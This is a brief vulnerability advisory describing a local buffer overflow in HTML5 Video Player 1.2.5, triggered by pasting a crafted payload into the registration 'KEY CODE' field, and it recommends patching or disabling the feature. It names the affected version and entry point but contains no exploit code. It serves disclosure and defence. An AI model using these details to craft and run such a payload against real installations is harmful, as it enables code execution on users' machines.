HTML5 Video Player 1.2.5 – Local Buffer Overflow – Non SEH

This exploit targets a buffer overflow vulnerability in HTML5 Video Player 1.2.5. By pasting a specially crafted payload into the 'KEY CODE' field under the 'Register' section of the application, an attacker can trigger a buffer overflow and execute arbitrary code. This exploit does not require SEH exploitation. The exact details of the vulnerability are yet to be determined by Mitre.

Mitigation:

To mitigate this vulnerability, it is recommended to update to a patched version of the HTML5 Video Player software. Alternatively, users can disable the affected feature or use a different video player software.
